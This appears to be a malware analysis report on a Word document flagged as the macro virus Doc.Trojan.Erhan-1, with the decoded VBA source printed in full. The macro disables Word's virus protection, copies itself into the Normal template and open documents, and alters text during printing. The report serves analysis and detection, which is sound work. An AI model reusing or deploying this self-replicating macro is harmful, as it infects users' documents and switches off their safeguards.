MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is identified as malicious by ClamAV with the signature 'Doc.Trojan.Erhan-1'. Static analysis reveals the presence of VBA macros within the document. The macro code appears to modify the Normal template and potentially the active document, suggesting an attempt to establish persistence or spread. The macro code is obfuscated and truncated, making a precise determination of its full functionality difficult.
Heuristics 2
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ClamAV: Doc.Trojan.Erhan-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Erhan-1
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VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10803 bytes |
SHA-256: a2bba89f4dd31e29c6fbcfbaad9bc6059f1e6113d05c736b73f8e9dd479ea8b6 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Fuck Off
'2000ã. Áðÿíñê, ÁÃÒÓ
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options
.ConfirmConversions = 0
.VirusProtection = 0
.SaveNormalPrompt = 0
End With
Arl = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ReDim Ar(1 To Arl) As String
For i = 1 To Arl
Ar(i) = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Next i
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "'Fuck Off" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
For i = 1 To Arl
If (Left(Ar(i), 6) = "'Sub F") Or (Left(Ar(i), 6) = "'Sub T") Or (Left(Ar(i), 6) = "'Sub V") Then
t.CodeModule.InsertLines i, Right(Ar(i), Len(Ar(i)) - 1)
Else
t.CodeModule.InsertLines i, Ar(i)
End If
Next i
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "'Fuck Off" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
For i = 1 To Arl
If (Left(Ar(i), 5) = "Sub F") Or (Left(Ar(i), 5) = "Sub T") Or (Left(Ar(i), 5) = "Sub V") Then
t.CodeModule.InsertLines i, "'" + Ar(i)
Else
t.CodeModule.InsertLines i, Ar(i)
End If
Next i
Else
t = ""
End If
If t <> "" Then
If (Left(ActiveDocument.Name, 8) <> "Document") Or (Left(ActiveDocument.Name, 8) <> "Äîêóìåíò") Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
Private Sub ToBlja(x, y)
Application.EnableCancelKey = Not -1
Set dlg1 = Dialogs(wdDialogEditReplace)
With dlg1
.Find = x
.Replace = y
.ReplaceAll = 1
.Execute
End With
End Sub
'Sub FilePrintDefault()
ToBlja ", ", ", áëÿ "
On Error GoTo ErHan
ActiveDocument.PrintOut
ToBlja ", áëÿ ", ", "
Exit Sub
ErHan:
On Error GoTo 0
ToBlja ", áëÿ ", ", "
Resume
End Sub
'Sub FilePrint()
ToBlja ", ", ", áëÿ "
On Error GoTo ErHan
Dialogs(wdDialogFilePrint).Show
ToBlja ", áëÿ ", ", "
Exit Sub
ErHan:
On Error GoTo 0
ToBlja ", áëÿ ", ", "
Resume
End Sub
'Sub ToolsMacro()
MsgBox "Ìàêðîñîâ íåò íè â îäíîì îòêðûòîì äîêóìåíòå!", vbExclamation, "Îøèáêà"
End Sub
'Sub ViewVBCode()
ToolsMacro
End Sub
'Sub ToolsOptions()
With Options
.ConfirmConversions = 1
.VirusProtection = 1
.SaveNormalPrompt = 1
End With
Dialogs(wdDialogToolsOptions).Show
With Options
.ConfirmConversions = 0
.VirusProtection = 0
.SaveNormalPrompt = 0
End With
End Sub
' Processing file: /opt/analyzer/scan_staging/c601f3073ce54a1e856dee3b8b582535.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5324 bytes
' Line #0:
' QuoteRem 0x0000 0x0008 "Fuck Off"
' Line #1:
' QuoteRem 0x0000 0x0013 "2000ã. Áðÿíñê, ÁÃÒÓ"
' Line #2:
' FuncDefn (Private Sub Document_Close())
' Line #3:
' OnError (Resume Next)
' Line #4:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #5:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #6:
' Line #7:
' StartWithExpr
' Ld Options
' With
' Line #8:
' LitDI2 0x0000
' MemStWith ConfirmConversions
' Line #9:
' LitDI2 0x0000
' MemStWith VirusProtection
' Line #10:
' LitDI2 0x0000
' MemStWith SaveNormalPrompt
' Line #11:
' EndWith
' Line #12:
' Line #13:
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' St Arl
' Line #14:
' LitDI2 0x0001
... (truncated)
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